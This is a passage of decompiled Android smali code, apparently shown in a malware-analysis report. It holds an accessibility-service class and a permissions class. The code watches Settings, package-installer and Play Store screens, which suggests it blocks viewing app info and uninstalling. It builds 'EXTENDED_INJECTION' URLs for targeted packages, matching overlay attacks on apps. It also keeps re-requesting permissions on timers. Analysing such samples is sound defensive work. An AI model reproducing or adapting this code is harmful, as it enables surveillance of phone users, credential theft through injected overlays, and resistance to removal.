                                            334invoke-virtual {v1, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            335move-result v3
                                            336if-eqz v3, :cond_1e8
                                            338const-string v3, "[app info]"
                                            340invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            341move-result v3
                                            342if-eqz v3, :cond_1e8
                                            343new-instance v3, Ljava/lang/StringBuilder;
                                            345invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                            347const-string v4, "TXT_6"
                                            349invoke-static {v4}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            350move-result-object v4
                                            352invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            353move-result-object v3
                                            355const-string v4, " - Listing all Apps"
                                            357invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            358move-result-object v3
                                            360invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            361move-result-object v3
                                            363invoke-static {p0, v3}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            364cond_1e8:
                                            365const-string v3, "settings"
                                            367invoke-virtual {v2, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            368move-result v3
                                            369if-eqz v3, :cond_23b
                                            371iget-object v3, p0, Limprove/harbor/eager/AccessibilityS;->c:Ljava/lang/String;
                                            373invoke-virtual {v0, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            374move-result v3
                                            375if-eqz v3, :cond_23b
                                            376sget-boolean v3, Limprove/harbor/eager/AccessibilityS;->e:Z
                                            377if-nez v3, :cond_23b
                                            379invoke-direct {p0}, Limprove/harbor/eager/AccessibilityS;->b()V
                                            380new-instance v3, Ljava/lang/StringBuilder;
                                            382invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                            384const-string v4, "TXT_6"
                                            386invoke-static {v4}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            387move-result-object v4
                                            389invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            390move-result-object v3
                                            392const-string v4, " => Pkg: "
                                            394invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            395move-result-object v3
                                            397invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            398move-result-object v2
                                            400const-string v3, ", Class: "
                                            402invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            403move-result-object v2
                                            405invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            406move-result-object v1
                                            408const-string v2, ", Text: "
                                            410invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            411move-result-object v1
                                            413invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            414move-result-object v0
                                            416const-string v1, ", VIEW APP INFO"
                                            418invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            419move-result-object v0
                                            421invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            422move-result-object v0
                                            424invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            425goto/16 :goto_90
                                            426cond_23b:
                                            427const-string v3, "settings"
                                            429invoke-virtual {v2, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            430move-result v3
                                            431if-eqz v3, :cond_259
                                            433const-string v3, "com.android.settings.applications.InstalledAppDetailsTop"
                                            435invoke-virtual {v1, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            436move-result v3
                                            437if-eqz v3, :cond_259
                                            439invoke-direct {p0}, Limprove/harbor/eager/AccessibilityS;->b()V
                                            441const-string v0, "TXT_6"
                                            443invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            444move-result-object v0
                                            446invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            447goto/16 :goto_90
                                            448cond_259:
                                            449const-string v3, "packageinstaller"
                                            451invoke-virtual {v2, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            452move-result v3
                                            453if-eqz v3, :cond_2f4
                                            455const-string v3, "AlertDialog"
                                            457invoke-virtual {v1, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            458move-result v3
                                            459if-eqz v3, :cond_2f4
                                            461iget-object v3, p0, Limprove/harbor/eager/AccessibilityS;->c:Ljava/lang/String;
                                            463invoke-virtual {v0, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            464move-result v3
                                            465if-eqz v3, :cond_2f4
                                            466sget-boolean v3, Limprove/harbor/eager/AccessibilityS;->d:Z
                                            467if-nez v3, :cond_2f4
                                            468sget-boolean v3, Limprove/harbor/eager/AccessibilityS;->e:Z
                                            469if-nez v3, :cond_2f4
                                            471invoke-direct {p0}, Limprove/harbor/eager/AccessibilityS;->b()V
                                            472new-instance v3, Ljava/lang/StringBuilder;
                                            474invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                            476const-string v4, "TXT_6"
                                            478invoke-static {v4}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            479move-result-object v4
                                            481invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            482move-result-object v3
                                            484const-string v4, " => Pkg: "
                                            486invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            487move-result-object v3
                                            489invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            490move-result-object v3
                                            492const-string v4, ", Class: "
                                            494invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            495move-result-object v3
                                            497invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            498move-result-object v3
                                            500const-string v4, ", Text: "
                                            502invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            503move-result-object v3
                                            505invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            506move-result-object v3
                                            508const-string v4, ", AlertDialog"
                                            510invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            511move-result-object v3
                                            513invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            514move-result-object v3
                                            516invoke-static {p0, v3}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            518const-string v3, "Accessibility"
                                            519new-instance v4, Ljava/lang/StringBuilder;
                                            521invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                            523const-string v5, "TXT_6"
                                            525invoke-static {v5}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            526move-result-object v5
                                            528invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            529move-result-object v4
                                            531const-string v5, " => Pkg: "
                                            533invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            534move-result-object v4
                                            536invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            537move-result-object v2
                                            539const-string v4, ", Class: "
                                            541invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            542move-result-object v2
                                            544invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            545move-result-object v1
                                            547const-string v2, ", Text: "
                                            549invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            550move-result-object v1
                                            552invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            553move-result-object v0
                                            555const-string v1, ", AlertDialog"
                                            557invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            558move-result-object v0
                                            560invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            561move-result-object v0
                                            563invoke-static {p0, v3, v0}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            564goto/16 :goto_90
                                            565cond_2f4:
                                            566const-string v3, "settings"
                                            568invoke-virtual {v2, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            569move-result v3
                                            570if-nez v3, :cond_304
                                            572const-string v3, "packageinstaller"
                                            574invoke-virtual {v2, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            575move-result v3
                                            576if-eqz v3, :cond_390
                                            577cond_304:
                                            578iget-object v3, p0, Limprove/harbor/eager/AccessibilityS;->c:Ljava/lang/String;
                                            580invoke-virtual {v0, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            581move-result v3
                                            582if-eqz v3, :cond_390
                                            583sget-boolean v3, Limprove/harbor/eager/AccessibilityS;->e:Z
                                            584if-nez v3, :cond_390
                                            585sget-boolean v3, Limprove/harbor/eager/AccessibilityS;->d:Z
                                            586if-nez v3, :cond_390
                                            588const-string v3, "TXT_C_1"
                                            590invoke-static {v3}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            591move-result-object v3
                                            592new-instance v4, Ljava/lang/StringBuilder;
                                            594invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                            596const-string v5, "TXT_8"
                                            598invoke-static {v5}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            599move-result-object v5
                                            601invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            602move-result-object v4
                                            604const-string v5, " => Pkg: "
                                            606invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            607move-result-object v4
                                            609invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            610move-result-object v4
                                            612const-string v5, ", Class: "
                                            614invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            615move-result-object v4
                                            617invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            618move-result-object v4
                                            620const-string v5, ", Text: "
                                            622invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            623move-result-object v4
                                            625invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            626move-result-object v4
                                            628const-string v5, ", TEST"
                                            630invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            631move-result-object v4
                                            633invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            634move-result-object v4
                                            636invoke-static {p0, v3, v4}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            637new-instance v3, Ljava/lang/StringBuilder;
                                            639invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                            641const-string v4, "TXT_8"
                                            643invoke-static {v4}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            644move-result-object v4
                                            646invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            647move-result-object v3
                                            649const-string v4, " => Pkg: "
                                            651invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            652move-result-object v3
                                            654invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            655move-result-object v2
                                            657const-string v3, ", Class: "
                                            659invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            660move-result-object v2
                                            662invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            663move-result-object v1
                                            665const-string v2, ", Text: "
                                            667invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            668move-result-object v1
                                            670invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            671move-result-object v0
                                            673const-string v1, ", TEST"
                                            675invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            676move-result-object v0
                                            678invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            679move-result-object v0
                                            681invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            682goto/16 :goto_90
                                            683cond_390:
                                            684const-string v0, "vending"
                                            686invoke-virtual {v2, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            687move-result v0
                                            688if-eqz v0, :cond_3a3
                                            690sget-object v0, Limprove/harbor/eager/AccessibilityS;->g:Ljava/lang/String;
                                            692const-string v1, "TXT_9"
                                            694invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            695move-result-object v1
                                            697invoke-direct {p0, v0, v1}, Limprove/harbor/eager/AccessibilityS;->a(Ljava/lang/String;Ljava/lang/String;)V
                                            698cond_3a3:
                                            699sget-object v0, Limprove/harbor/eager/AccessibilityS;->a:Ljava/util/ArrayList;
                                            701invoke-virtual {v0}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                                            702move-result-object v1
                                            703goto_3a9:
                                            704invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                                            705move-result v0
                                            706if-eqz v0, :cond_90
                                            708invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            709move-result-object v0
                                            710check-cast v0, Ljava/lang/String;
                                            712invoke-virtual {v2, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            713move-result v3
                                            714if-eqz v3, :cond_3a9
                                            716iget-object v3, p0, Limprove/harbor/eager/AccessibilityS;->j:Limprove/harbor/eager/g;
                                            718const-string v4, "EXTENDED_INJECTION"
                                            720invoke-virtual {v3, v4}, Limprove/harbor/eager/g;->b(Ljava/lang/String;)Ljava/lang/Integer;
                                            721move-result-object v3
                                            723invoke-virtual {v3}, Ljava/lang/Integer;->intValue()I
                                            724move-result v3
                                            725const/4 v4, 0x1
                                            726if-ne v3, v4, :cond_3a9
                                            727new-instance v3, Ljava/lang/StringBuilder;
                                            729invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                            731sget-object v4, Limprove/harbor/eager/AccessibilityS;->h:Ljava/lang/String;
                                            733invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            734move-result-object v3
                                            736const-string v4, "&package="
                                            738invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            739move-result-object v3
                                            741invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            742move-result-object v3
                                            744invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            745move-result-object v3
                                            746new-instance v4, Ljava/lang/StringBuilder;
                                            748invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                                            750const-string v5, "TXT_10"
                                            752invoke-static {v5}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            753move-result-object v5
                                            755invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            756move-result-object v4
                                            758const-string v5, ": "
                                            760invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            761move-result-object v4
                                            763invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            764move-result-object v0
                                            766invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            767move-result-object v0
                                            769invoke-direct {p0, v3, v0}, Limprove/harbor/eager/AccessibilityS;->a(Ljava/lang/String;Ljava/lang/String;)V
                                            770goto/16 :goto_3a9
                                            771catch_404: move-exception v3
                                            772goto/16 :goto_70
                                            APIs
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • improve.harbor.eager.Permissions.a
                                            • improve.harbor.eager.Permissions.b
                                            • android.os.Handler.<init>
                                            • android.os.Handler.postDelayed
                                            • improve.harbor.eager.Permissions.b
                                            • improve.harbor.eager.Permissions.c
                                            • android.os.Handler.<init>
                                            • android.os.Handler.postDelayed
                                            • improve.harbor.eager.Permissions.c
                                            • improve.harbor.eager.Permissions.e
                                            • android.os.Handler.<init>
                                            • android.os.Handler.postDelayed
                                            • improve.harbor.eager.Permissions.e
                                            • improve.harbor.eager.Permissions.f
                                            • android.os.Handler.<init>
                                            • android.os.Handler.postDelayed
                                            • android.os.Handler.<init>
                                            • android.os.Handler.postDelayed
                                            • improve.harbor.eager.Permissions.e
                                            • improve.harbor.eager.Permissions.e
                                            • improve.harbor.eager.Permissions.e
                                            • improve.harbor.eager.Permissions.e
                                            Strings
                                            • Permissions
                                            • Got Code:
                                            • TXT_C_7
                                            • TXT_74
                                            • TXT_76
                                            • TXT_78
                                            • TXT_78a
                                            • TXT_75
                                            • TXT_77
                                            • TXT_79
                                            • TXT_79a
                                            Position Instruction Meta Information
                                            0const-wide/16 v4, 0x3e8
                                            2const-string v0, "Permissions"
                                            3new-instance v1, Ljava/lang/StringBuilder;
                                            5const-string v2, "Got Code: "
                                            7invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                                            9invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                            10move-result-object v1
                                            12invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            13move-result-object v1
                                            15invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            16const/4 v0, 0x1
                                            17if-ne p1, v0, :cond_4a
                                            19invoke-static {p0}, Limprove/harbor/eager/Permissions;->a(Landroid/content/Context;)Z
                                            20move-result v0
                                            21if-eqz v0, :cond_f6
                                            23const-string v0, "TXT_C_7"
                                            25invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            26move-result-object v0
                                            28const-string v1, "TXT_74"
                                            30invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            31move-result-object v1
                                            33invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            35const-string v0, "TXT_74"
                                            37invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            38move-result-object v0
                                            40invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            42invoke-static {p0}, Limprove/harbor/eager/Permissions;->b(Landroid/content/Context;)Z
                                            43move-result v0
                                            44if-nez v0, :cond_4a
                                            45new-instance v0, Landroid/os/Handler;
                                            47invoke-direct {v0}, Landroid/os/Handler;-><init>()V
                                            48new-instance v1, Limprove/harbor/eager/k;
                                            50invoke-direct {v1, p0}, Limprove/harbor/eager/k;-><init>(Limprove/harbor/eager/Permissions;)V
                                            52invoke-virtual {v0, v1, v4, v5}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
                                            53goto_4a: const/4 v0, 0x2
                                            54if-ne p1, v0, :cond_7e
                                            56invoke-static {p0}, Limprove/harbor/eager/Permissions;->b(Landroid/content/Context;)Z
                                            57move-result v0
                                            58if-eqz v0, :cond_113
                                            60const-string v0, "TXT_C_7"
                                            62invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            63move-result-object v0
                                            65const-string v1, "TXT_76"
                                            67invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            68move-result-object v1
                                            70invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            72const-string v0, "TXT_76"
                                            74invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            75move-result-object v0
                                            77invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            79invoke-static {p0}, Limprove/harbor/eager/Permissions;->c(Landroid/content/Context;)Z
                                            80move-result v0
                                            81if-nez v0, :cond_7e
                                            82new-instance v0, Landroid/os/Handler;
                                            84invoke-direct {v0}, Landroid/os/Handler;-><init>()V
                                            85new-instance v1, Limprove/harbor/eager/l;
                                            87invoke-direct {v1, p0}, Limprove/harbor/eager/l;-><init>(Limprove/harbor/eager/Permissions;)V
                                            89invoke-virtual {v0, v1, v4, v5}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
                                            90goto_7e: const/4 v0, 0x3
                                            91if-ne p1, v0, :cond_b2
                                            93invoke-static {p0}, Limprove/harbor/eager/Permissions;->c(Landroid/content/Context;)Z
                                            94move-result v0
                                            95if-eqz v0, :cond_130
                                            97const-string v0, "TXT_C_7"
                                            99invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            100move-result-object v0
                                            102const-string v1, "TXT_78"
                                            104invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            105move-result-object v1
                                            107invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            109const-string v0, "TXT_78"
                                            111invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            112move-result-object v0
                                            114invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            116invoke-static {p0}, Limprove/harbor/eager/Permissions;->e(Landroid/content/Context;)Z
                                            117move-result v0
                                            118if-nez v0, :cond_b2
                                            119new-instance v0, Landroid/os/Handler;
                                            121invoke-direct {v0}, Landroid/os/Handler;-><init>()V
                                            122new-instance v1, Limprove/harbor/eager/m;
                                            124invoke-direct {v1, p0}, Limprove/harbor/eager/m;-><init>(Limprove/harbor/eager/Permissions;)V
                                            126invoke-virtual {v0, v1, v4, v5}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
                                            127goto_b2: const/4 v0, 0x4
                                            128if-ne p1, v0, :cond_f5
                                            130invoke-static {p0}, Limprove/harbor/eager/Permissions;->e(Landroid/content/Context;)Z
                                            131move-result v0
                                            132if-eqz v0, :cond_14d
                                            134const-string v0, "TXT_C_7"
                                            136invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            137move-result-object v0
                                            139const-string v1, "TXT_78a"
                                            141invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            142move-result-object v1
                                            144invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            146const-string v0, "TXT_78a"
                                            148invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            149move-result-object v0
                                            151invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            153invoke-static {p0}, Limprove/harbor/eager/Permissions;->f(Landroid/content/Context;)Z
                                            154move-result v0
                                            155if-nez v0, :cond_f5
                                            156new-instance v0, Landroid/os/Handler;
                                            158invoke-direct {v0}, Landroid/os/Handler;-><init>()V
                                            159new-instance v1, Limprove/harbor/eager/n;
                                            161invoke-direct {v1, p0}, Limprove/harbor/eager/n;-><init>(Limprove/harbor/eager/Permissions;)V
                                            163invoke-virtual {v0, v1, v4, v5}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
                                            164new-instance v0, Landroid/os/Handler;
                                            166invoke-direct {v0}, Landroid/os/Handler;-><init>()V
                                            167new-instance v1, Limprove/harbor/eager/o;
                                            169invoke-direct {v1, p0}, Limprove/harbor/eager/o;-><init>(Limprove/harbor/eager/Permissions;)V
                                            170const-wide/16 v2, 0x2710
                                            172invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
                                            173goto_f5: return-void
                                            174cond_f6:
                                            175const-string v0, "TXT_C_7"
                                            177invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            178move-result-object v0
                                            180const-string v1, "TXT_75"
                                            182invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            183move-result-object v1
                                            185invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            187const-string v0, "TXT_75"
                                            189invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            190move-result-object v0
                                            192invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            194invoke-direct {p0}, Limprove/harbor/eager/Permissions;->e()V
                                            195goto/16 :goto_4a
                                            196cond_113:
                                            197const-string v0, "TXT_C_7"
                                            199invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            200move-result-object v0
                                            202const-string v1, "TXT_77"
                                            204invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            205move-result-object v1
                                            207invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            209const-string v0, "TXT_77"
                                            211invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            212move-result-object v0
                                            214invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            216invoke-direct {p0}, Limprove/harbor/eager/Permissions;->e()V
                                            217goto/16 :goto_7e
                                            218cond_130:
                                            219const-string v0, "TXT_C_7"
                                            221invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            222move-result-object v0
                                            224const-string v1, "TXT_79"
                                            226invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            227move-result-object v1
                                            229invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            231const-string v0, "TXT_79a"
                                            233invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            234move-result-object v0
                                            236invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            238invoke-direct {p0}, Limprove/harbor/eager/Permissions;->e()V
                                            239goto/16 :goto_b2
                                            240cond_14d:
                                            241const-string v0, "TXT_C_7"
                                            243invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            244move-result-object v0
                                            246const-string v1, "TXT_79a"
                                            248invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            249move-result-object v1
                                            251invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            253const-string v0, "TXT_79a"
                                            255invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            256move-result-object v0
